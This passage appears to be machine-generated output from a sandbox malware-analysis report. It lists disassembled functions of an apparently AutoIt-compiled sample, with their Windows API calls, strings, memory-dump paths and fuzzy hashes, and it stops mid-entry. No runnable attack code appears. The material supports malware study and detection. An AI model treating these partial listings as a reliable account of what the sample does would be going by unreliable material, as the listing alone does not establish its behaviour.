                                                              • Instruction Fuzzy Hash: 4221F4313012009FE7108F2AD869B5B7BE9FF95328F188469E84ACB251DB31ED42DF90
                                                              Function 0090EB81 Relevance: 1.5, APIs: 1, Instructions: 24COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • mouse_event.USER32(00000002,00000000,00000000,00000000,00000000), ref: 0090EBAA
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: mouse_event
                                                              • String ID:
                                                              • API String ID: 2434400541-0
                                                              • Opcode ID: 98ecd8717048cefb665aab9161d8cd8f7a90995f250bef1013bab0b1c837f030
                                                              • Instruction ID: 7597732c610ffa9c3d70fc1d3ad77808784662cc99be3696ef83874c4bd7f866
                                                              • Opcode Fuzzy Hash: 98ecd8717048cefb665aab9161d8cd8f7a90995f250bef1013bab0b1c837f030
                                                              • Instruction Fuzzy Hash: CED05EB61A42003CFC1D2A3EDD2FF362A4CF342750FD88E49B003D55E5E4C5AD00A421
                                                              Function 00930BA0 Relevance: 35.4, APIs: 7, Strings: 13, Instructions: 391windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • CharUpperBuffW.USER32(?,?), ref: 00930C44
                                                              • _wcslen.LIBCMT ref: 00930C7E
                                                              • _wcslen.LIBCMT ref: 00930CE8
                                                              • _wcslen.LIBCMT ref: 00930D50
                                                              • _wcslen.LIBCMT ref: 00930DD4
                                                              • SendMessageW.USER32(?,00001032,00000000,00000000), ref: 00930E24
                                                              • SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 00930E63
                                                                • Part of subcall function 008BFD60: _wcslen.LIBCMT ref: 008BFD6B
                                                                • Part of subcall function 00902ACF: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00902AE8
                                                                • Part of subcall function 00902ACF: SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 00902B1A
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: _wcslen$MessageSend$BuffCharUpper
                                                              • String ID: DESELECT$FINDITEM$GETITEMCOUNT$GETSELECTED$GETSELECTEDCOUNT$GETSUBITEMCOUNT$GETTEXT$ISSELECTED$SELECT$SELECTALL$SELECTCLEAR$SELECTINVERT$VIEWCHANGE
                                                              • API String ID: 1103490817-719923060
                                                              • Opcode ID: d8a020681ba9693838a1ae1fc0bc3880cb142127087223dc66c06f82a6be235c
                                                              • Instruction ID: 72ed7b4c8af123290c516f9b81f25d3e5f2870ea94452356e52561a679e32efb
                                                              • Opcode Fuzzy Hash: d8a020681ba9693838a1ae1fc0bc3880cb142127087223dc66c06f82a6be235c
                                                              • Instruction Fuzzy Hash: D6E19D312083418FC724DF28C86186AB7EAFFD9314F14495CF8A69B6A2DB34ED45CB52
                                                              Function 008A24C3 Relevance: 33.5, APIs: 18, Strings: 1, Instructions: 282windowtimeCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 008A259A
                                                              • GetSystemMetrics.USER32(00000007), ref: 008A25A2
                                                              • SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 008A25CD
                                                              • GetSystemMetrics.USER32(00000008), ref: 008A25D5
                                                              • GetSystemMetrics.USER32(00000004), ref: 008A25FA
                                                              • SetRect.USER32(000000FF,00000000,00000000,000000FF,000000FF), ref: 008A2617
                                                              • AdjustWindowRectEx.USER32(000000FF,?,00000000,?), ref: 008A2627
                                                              • CreateWindowExW.USER32(?,AutoIt v3 GUI,?,?,?,000000FF,000000FF,000000FF,?,00000000,00000000), ref: 008A265A
                                                              • SetWindowLongW.USER32(00000000,000000EB,00000000), ref: 008A266E
                                                              • GetClientRect.USER32(00000000,000000FF), ref: 008A268C
                                                              • GetStockObject.GDI32(00000011), ref: 008A26A8
                                                              • SendMessageW.USER32(00000000,00000030,00000000), ref: 008A26B3
                                                                • Part of subcall function 008A19CD: GetCursorPos.USER32(?), ref: 008A19E1
                                                                • Part of subcall function 008A19CD: ScreenToClient.USER32(00000000,?), ref: 008A19FE
                                                                • Part of subcall function 008A19CD: GetAsyncKeyState.USER32(00000001), ref: 008A1A23
                                                                • Part of subcall function 008A19CD: GetAsyncKeyState.USER32(00000002), ref: 008A1A3D
                                                              • SetTimer.USER32(00000000,00000000,00000028,008A199C), ref: 008A26DA
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: System$MetricsRectWindow$AsyncClientInfoParametersState$AdjustCreateCursorLongMessageObjectScreenSendStockTimer
                                                              • String ID: AutoIt v3 GUI
                                                              • API String ID: 1458621304-248962490
                                                              • Opcode ID: 51fb646767edcca8ff2d4fd1a6c39f4f5149f8827d48180cf2cf675f3ddec02e
                                                              • Instruction ID: 5ad23781472d7b76b83a7bdd229146229c442cb5d76d8ddc34337d3febf8f958
                                                              • Opcode Fuzzy Hash: 51fb646767edcca8ff2d4fd1a6c39f4f5149f8827d48180cf2cf675f3ddec02e
                                                              • Instruction Fuzzy Hash: FDB1C931A1420A9FDB14DFA8DC99BAE3BB0FB49314F104229FA19EB290D774E940DF51
                                                              Function 00938C9B Relevance: 29.9, APIs: 14, Strings: 3, Instructions: 196windowlibraryCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • _wcslen.LIBCMT ref: 00938CB9
                                                              • _wcslen.LIBCMT ref: 00938CCD
                                                              • _wcslen.LIBCMT ref: 00938CF0
                                                              • _wcslen.LIBCMT ref: 00938D13
                                                              • LoadImageW.USER32(00000000,?,00000001,?,?,00002010), ref: 00938D51
                                                              • LoadLibraryExW.KERNEL32(?,00000000,00000032,00000000,?,?,?,?,?,00936551), ref: 00938DAD
                                                              • LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 00938DE6
                                                              • LoadImageW.USER32(00000000,?,00000001,?,?,00000000), ref: 00938E29
                                                              • LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 00938E60
                                                              • FreeLibrary.KERNEL32(?), ref: 00938E6C
                                                              • ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 00938E7C
                                                              • DestroyIcon.USER32(?,?,?,?,?,00936551), ref: 00938E8B
                                                              • SendMessageW.USER32(?,00000170,00000000,00000000), ref: 00938EA8
                                                              • SendMessageW.USER32(?,00000064,00000172,00000001), ref: 00938EB4
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: Load$Image_wcslen$IconLibraryMessageSend$DestroyExtractFree
                                                              • String ID: .dll$.exe$.icl
                                                              • API String ID: 799131459-1154884017
                                                              • Opcode ID: cae4228e45c2d497c8d548c7fc3e816e5654b893c14e8159ca538b6948e7b837
                                                              • Instruction ID: 2fbc7cd8469f3e74a2767fc8c2cfb3e073d5ae9d263dbd826baf7fa58c0b84e6
                                                              • Opcode Fuzzy Hash: cae4228e45c2d497c8d548c7fc3e816e5654b893c14e8159ca538b6948e7b837
                                                              • Instruction Fuzzy Hash: 6B619CB1600715BAEB24AB64DC45BBF77ACFB08B10F10460AF925D61D1DBB49A80DBA0
                                                              Function 009147D3 Relevance: 28.2, APIs: 8, Strings: 8, Instructions: 205COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • CharLowerBuffW.USER32(?,?), ref: 00914852
                                                              • _wcslen.LIBCMT ref: 0091485D
                                                              • _wcslen.LIBCMT ref: 009148B4
                                                              • _wcslen.LIBCMT ref: 009148F2
                                                              • GetDriveTypeW.KERNEL32(?), ref: 00914930
                                                              • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00914978
                                                              • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 009149B3
                                                              • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 009149E1
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: SendString_wcslen$BuffCharDriveLowerType
                                                              • String ID: type cdaudio alias cd wait$ wait$close$close cd wait$closed$open$open $set cd door
                                                              • API String ID: 1839972693-4113822522
                                                              • Opcode ID: 3b4d61e33eb95b3c0df6fc96b4a010e870096983510b23e9b134911a101af7ce
                                                              • Instruction ID: 4da84417db49abb0fdf40ab96d798a4d3e83422fd7784c6643d131f53e985d8c
                                                              • Opcode Fuzzy Hash: 3b4d61e33eb95b3c0df6fc96b4a010e870096983510b23e9b134911a101af7ce
                                                              • Instruction Fuzzy Hash: F471E3316082159FC710DF68C8909ABB7E8FFA9758F10492CF895D7261EB34DD85CB92
                                                              Function 009062AA Relevance: 27.2, APIs: 18, Instructions: 198windowtimeCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • LoadIconW.USER32(00000063), ref: 009062BD
                                                              • SendMessageW.USER32(?,00000080,00000000,00000000), ref: 009062CF
                                                              • SetWindowTextW.USER32(?,?), ref: 009062E6
                                                              • GetDlgItem.USER32(?,000003EA), ref: 009062FB
                                                              • SetWindowTextW.USER32(00000000,?), ref: 00906301
                                                              • GetDlgItem.USER32(?,000003E9), ref: 00906311
                                                              • SetWindowTextW.USER32(00000000,?), ref: 00906317
                                                              • SendDlgItemMessageW.USER32(?,000003E9,000000CC,?,00000000), ref: 00906338
                                                              • SendDlgItemMessageW.USER32(?,000003E9,000000C5,00000000,00000000), ref: 00906352
                                                              • GetWindowRect.USER32(?,?), ref: 0090635B
                                                              • _wcslen.LIBCMT ref: 009063C2
                                                              • SetWindowTextW.USER32(?,?), ref: 009063FE
                                                              • GetDesktopWindow.USER32 ref: 00906404
                                                              • GetWindowRect.USER32(00000000), ref: 0090640B
                                                              • MoveWindow.USER32(?,?,00000080,00000000,?,00000000), ref: 00906462
                                                              • GetClientRect.USER32(?,?), ref: 0090646F
                                                              • PostMessageW.USER32(?,00000005,00000000,?), ref: 00906494
                                                              • SetTimer.USER32(?,0000040A,00000000,00000000), ref: 009064BE
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: Window$ItemMessageText$RectSend$ClientDesktopIconLoadMovePostTimer_wcslen
                                                              • String ID:
                                                              • API String ID: 895679908-0
                                                              • Opcode ID: 8a9713494ffe22f4ddf0b8b8fa8c97e63d7bf80a9f1df92b32d057db7f1fb008
                                                              • Instruction ID: 6184ee03a47f2e88c58db50dac4627cac64120d57c9c418bdd1b4c8a382ad3a3
                                                              • Opcode Fuzzy Hash: 8a9713494ffe22f4ddf0b8b8fa8c97e63d7bf80a9f1df92b32d057db7f1fb008
                                                              • Instruction Fuzzy Hash: E3717A71900705AFDB20DFA8DE46BAEBBF9FF48704F100918E196A22A0D775E954DF50
                                                              Function 0092076B Relevance: 27.1, APIs: 18, Instructions: 128COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • LoadCursorW.USER32(00000000,00007F89), ref: 00920784
                                                              • LoadCursorW.USER32(00000000,00007F8A), ref: 0092078F
                                                              • LoadCursorW.USER32(00000000,00007F00), ref: 0092079A
                                                              • LoadCursorW.USER32(00000000,00007F03), ref: 009207A5
                                                              • LoadCursorW.USER32(00000000,00007F8B), ref: 009207B0
                                                              • LoadCursorW.USER32(00000000,00007F01), ref: 009207BB
                                                              • LoadCursorW.USER32(00000000,00007F81), ref: 009207C6
                                                              • LoadCursorW.USER32(00000000,00007F88), ref: 009207D1
                                                              • LoadCursorW.USER32(00000000,00007F80), ref: 009207DC
                                                              • LoadCursorW.USER32(00000000,00007F86), ref: 009207E7
                                                              • LoadCursorW.USER32(00000000,00007F83), ref: 009207F2
                                                              • LoadCursorW.USER32(00000000,00007F85), ref: 009207FD
                                                              • LoadCursorW.USER32(00000000,00007F82), ref: 00920808
                                                              • LoadCursorW.USER32(00000000,00007F84), ref: 00920813
                                                              • LoadCursorW.USER32(00000000,00007F04), ref: 0092081E
                                                              • LoadCursorW.USER32(00000000,00007F02), ref: 00920829
                                                              • GetCursorInfo.USER32(?), ref: 00920839
                                                              • GetLastError.KERNEL32 ref: 0092087B
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: Cursor$Load$ErrorInfoLast
                                                              • String ID:
                                                              • API String ID: 3215588206-0
                                                              • Opcode ID: 2fa36763f636e10d68ca7f411a9a4d00d2f02ef9e37f5c8749937d91f879312f
                                                              • Instruction ID: 6c797d94d72623b95235d11f1e7839cab23711a0fab84d145b6b26a63e9bbd73
                                                              • Opcode Fuzzy Hash: 2fa36763f636e10d68ca7f411a9a4d00d2f02ef9e37f5c8749937d91f879312f
                                                              • Instruction Fuzzy Hash: F34163B0E083196BDB10DFBA9C8985EBFE8FF44354B50452AE11CE7291DA79E901CF91
                                                              Function 008C0456 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 81COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • __scrt_initialize_thread_safe_statics_platform_specific.LIBCMT ref: 008C0456
                                                                • Part of subcall function 008C047D: InitializeCriticalSectionAndSpinCount.KERNEL32(0097170C,00000FA0,0FC0B378,?,?,?,?,008E2753,000000FF), ref: 008C04AC
                                                                • Part of subcall function 008C047D: GetModuleHandleW.KERNEL32(api-ms-win-core-synch-l1-2-0.dll,?,?,?,?,008E2753,000000FF), ref: 008C04B7
                                                                • Part of subcall function 008C047D: GetModuleHandleW.KERNEL32(kernel32.dll,?,?,?,?,008E2753,000000FF), ref: 008C04C8
                                                                • Part of subcall function 008C047D: GetProcAddress.KERNEL32(00000000,InitializeConditionVariable), ref: 008C04DE
                                                                • Part of subcall function 008C047D: GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 008C04EC
                                                                • Part of subcall function 008C047D: GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 008C04FA
                                                                • Part of subcall function 008C047D: __crt_fast_encode_pointer.LIBVCRUNTIME ref: 008C0525
                                                                • Part of subcall function 008C047D: __crt_fast_encode_pointer.LIBVCRUNTIME ref: 008C0530
                                                              • ___scrt_fastfail.LIBCMT ref: 008C0477
                                                                • Part of subcall function 008C0433: __onexit.LIBCMT ref: 008C0439
                                                              Strings
                                                              • api-ms-win-core-synch-l1-2-0.dll, xrefs: 008C04B2
                                                              • SleepConditionVariableCS, xrefs: 008C04E4
                                                              • kernel32.dll, xrefs: 008C04C3
                                                              • WakeAllConditionVariable, xrefs: 008C04F2
                                                              • InitializeConditionVariable, xrefs: 008C04D8
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: AddressProc$HandleModule__crt_fast_encode_pointer$CountCriticalInitializeSectionSpin___scrt_fastfail__onexit__scrt_initialize_thread_safe_statics_platform_specific
                                                              • String ID: InitializeConditionVariable$SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
                                                              • API String ID: 66158676-1714406822
                                                              • Opcode ID: ef42401339e8612a0e9b13731e61de4c1e6bd678d4b2a1d5adaf375b8aaf70ac
                                                              • Instruction ID: 7065912634309020780f39eb834c8e9fcc5b516f6f0b90970fa095d4fdd92b7a
                                                              • Opcode Fuzzy Hash: ef42401339e8612a0e9b13731e61de4c1e6bd678d4b2a1d5adaf375b8aaf70ac
                                                              • Instruction Fuzzy Hash: 5221C232A59710EBD7146BA8AC06F2A76F4FB84BA9F00412DFA05E22D0DBB0DC009E55
                                                              Function 00924946 Relevance: 23.2, APIs: 11, Strings: 2, Instructions: 478libraryloaderCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • LoadLibraryA.KERNEL32(kernel32.dll,?,0093DCD0), ref: 00924A18
                                                              • GetProcAddress.KERNEL32(00000000,GetModuleHandleExW), ref: 00924A2A
                                                              • GetModuleFileNameW.KERNEL32(?,?,00000104,?,?,?,0093DCD0), ref: 00924A4F
                                                              • FreeLibrary.KERNEL32(00000000,?,0093DCD0), ref: 00924A9B
                                                              • StringFromGUID2.OLE32(?,?,00000028,?,0093DCD0), ref: 00924B05
                                                              • SysFreeString.OLEAUT32(00000009), ref: 00924BBF
                                                              • QueryPathOfRegTypeLib.OLEAUT32(?,?,?,?,?), ref: 00924C25
                                                              • SysFreeString.OLEAUT32(?), ref: 00924C4F
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: FreeString$Library$AddressFileFromLoadModuleNamePathProcQueryType
                                                              • String ID: GetModuleHandleExW$kernel32.dll
                                                              • API String ID: 354098117-199464113
                                                              • Opcode ID: e47599912929cdbb9a12b68ac06351bb4bc18ab33f11aef428a166d428321058
                                                              • Instruction ID: 0969eda9431cf52f14e94a5da4425d0bf5ef43fbf2a80d49b4383b6491095839
                                                              • Opcode Fuzzy Hash: e47599912929cdbb9a12b68ac06351bb4bc18ab33f11aef428a166d428321058
                                                              • Instruction Fuzzy Hash: 92126A71A00125EFDB14CF94D884EAEBBB9FF45314F258098E909AB255D731ED46CFA0
                                                              Function 0091CDD3 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 143networkCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 0091CE0D
                                                              • GetLastError.KERNEL32(?,00000003,?,?,?,?,?,?), ref: 0091CE20
                                                              • SetEvent.KERNEL32(?,?,00000003,?,?,?,?,?,?), ref: 0091CE34
                                                              • HttpOpenRequestW.WININET(00000000,00000000,?,00000000,00000000,00000000,?,00000000), ref: 0091CE4D
                                                              • InternetQueryOptionW.WININET(00000000,0000001F,?,?), ref: 0091CE90
                                                              • InternetSetOptionW.WININET(00000000,0000001F,00000100,00000004), ref: 0091CEA6
                                                              • HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0091CEB1
                                                              • HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 0091CEE1
                                                              • GetLastError.KERNEL32(?,00000003,?,?,?,?,?,?), ref: 0091CF39
                                                              • SetEvent.KERNEL32(?,?,00000003,?,?,?,?,?,?), ref: 0091CF4D
                                                              • InternetCloseHandle.WININET(00000000), ref: 0091CF58
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: Internet$Http$ErrorEventLastOptionQueryRequest$CloseConnectHandleInfoOpenSend
                                                              • String ID:
                                                              • API String ID: 3800310941-3916222277
                                                              • Opcode ID: 3a3df477a5635b248191e94f57d73d47f5ba99f9fe6673e69efa68554b1f06ac
                                                              • Instruction ID: 78441c307fde1814544d3fd1fb8877f4476f030ff165630602d39393aa19c3bb
                                                              • Opcode Fuzzy Hash: 3a3df477a5635b248191e94f57d73d47f5ba99f9fe6673e69efa68554b1f06ac
                                                              • Instruction Fuzzy Hash: 4B516CB5645208BFEB219F60DD48AAB7BFDFF08744F008419F94A96250D734ED85EBA0
                                                              Function 00922EB9 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 169windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetDC.USER32(00000000), ref: 00922F35
                                                              • CreateCompatibleBitmap.GDI32(00000000,?,?), ref: 00922F45
                                                              • CreateCompatibleDC.GDI32(?), ref: 00922F51
                                                              • SelectObject.GDI32(00000000,?), ref: 00922F5E
                                                              • StretchBlt.GDI32(?,00000000,00000000,?,?,?,00000006,?,?,?,00CC0020), ref: 00922FCA
                                                              • GetDIBits.GDI32(?,?,00000000,00000000,00000000,00000028,00000000), ref: 00923009
                                                              • GetDIBits.GDI32(?,?,00000000,?,00000000,00000028,00000000), ref: 0092302D
                                                              • SelectObject.GDI32(?,?), ref: 00923035
                                                              • DeleteObject.GDI32(?), ref: 0092303E
                                                              • DeleteDC.GDI32(?), ref: 00923045
                                                              • ReleaseDC.USER32(00000000,?), ref: 00923050
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: Object$BitsCompatibleCreateDeleteSelect$BitmapReleaseStretch
                                                              • String ID: (
                                                              • API String ID: 2598888154-3887548279
                                                              • Opcode ID: 5a120292077b2e4dd20cbdd3e5afa741fdc0f3faf9872d5c22f6bbea9e603d89
                                                              • Instruction ID: 04f20fb095e8417401c702896b99aa01c4862cdcf1aabaa67a19b3eb0facebb6
                                                              • Opcode Fuzzy Hash: 5a120292077b2e4dd20cbdd3e5afa741fdc0f3faf9872d5c22f6bbea9e603d89
                                                              • Instruction Fuzzy Hash: 3C6103B5D04219EFCF04CFA8E984EAEBBB5FF48310F208419E955A7250D775A941DF90
                                                              Function 0090C80C Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 190windowsleepCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetMenuItemInfoW.USER32(00972990,000000FF,00000000,00000030), ref: 0090C888
                                                              • SetMenuItemInfoW.USER32(00972990,00000004,00000000,00000030), ref: 0090C8BD
                                                              • Sleep.KERNEL32(000001F4), ref: 0090C8CF
                                                              • GetMenuItemCount.USER32(?), ref: 0090C915
                                                              • GetMenuItemID.USER32(?,00000000), ref: 0090C932
                                                              • GetMenuItemID.USER32(?,-00000001), ref: 0090C95E
                                                              • GetMenuItemID.USER32(?,?), ref: 0090C9A5
                                                              • CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 0090C9EB
